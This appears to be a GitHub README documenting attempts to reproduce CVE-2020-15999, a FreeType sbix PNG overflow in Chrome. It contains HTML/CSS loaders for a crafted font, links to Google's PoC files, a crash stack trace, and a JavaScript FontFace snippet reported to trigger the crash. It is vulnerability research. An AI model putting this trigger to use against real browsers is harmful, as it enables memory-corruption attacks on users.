oxfemale/cve-2020-15999CVE-2020-15999
CVE-2020-15999
Added font with SBIX table (based on Arial) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix
Crashes in ftview (asan.png) but somehow cannot bring Chrome to crash
Flags are also not correctly set so load_sbit_image() is also not called. Weird.
Calling it like this:
index.html
<html>
<head>
<link rel="stylesheet" href="style.css" type="text/css" media="all" />
<style>
.sample {
font-family: 'UntitledTTF';
border: 1px solid #ddd;
display: inline-block;
padding: 10px;
}
</style>
</head>
<body>
<p class="sample">
The quick brown fox jumps over the lazy dog
</p>
</body>
</html>
stlye.css
@font-face {
font-family: "UntitledTTF";
src: url("./fonts/font.eot"); /* IE9 Compat Modes */
src: url("./fonts/font.eot?#iefix") format("embedded-opentype"), /* IE6-IE8 */
url("./fonts/font.svg") format("svg"), /* Legacy iOS */
url("./fonts/arialnew.ttf.sbix.ttf") format("truetype"), /* Safari, Android, iOS */
url("./fonts/font.woff") format("woff"), /* Modern Browsers */
url("./fonts/font.woff2") format("woff2"); /* Modern Browsers */
font-weight: normal;
font-style: normal;
}
.adjust {
font-size-adjust: 2;
}
Maybe somebody knows how to tigger it, has more luck. If not I will wait for writeup from Google.
Managed to get Chrome to crash ... had to tune some font params in the debugger, which means you can possibly do it also in the font. Stay tuned.
This should trigger it (Google PoC). I see font is loaded via JavaScript, so differently than my attempt:
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035
Will debug it as I have time...
Did all the prior debugging with Chromium, seems like the codebase differ then. That could explain a ot.
With Chrome, PoC from Google works: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398
With Chromium does not.
Seems like it stops at several checks. If I set them to pass, it then crashes with all PoCs:
Received signal 11 SEGV_MAPERR 000000000000
#0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13
#1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39
#2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12
#3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28
#4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3
#5 0x7fff555c48a0 in __funlockfile ??:?
#6 0x7fff555c48a0 in ?? ??:0
#7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0
#8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5
#10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7
#11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4
#12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4
#13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5
#14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15
#15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15
#16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
#17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
#18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
#19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
Naah ... all is correct.
To trigger you need to load font via JavaScript, loading via CSS does not work:
i.e
<body>
<script>
font_face = new FontFace('fontname','url("./fonts/font.ttf")');
font_face.load().then(() => {
document.fonts.add(font_face);
document.body.style.fontFamily = 'fontname';
document.body.textContent = 'B';
});
</script> </body>
Font from initial Google PoC works. Below is output from Chromium.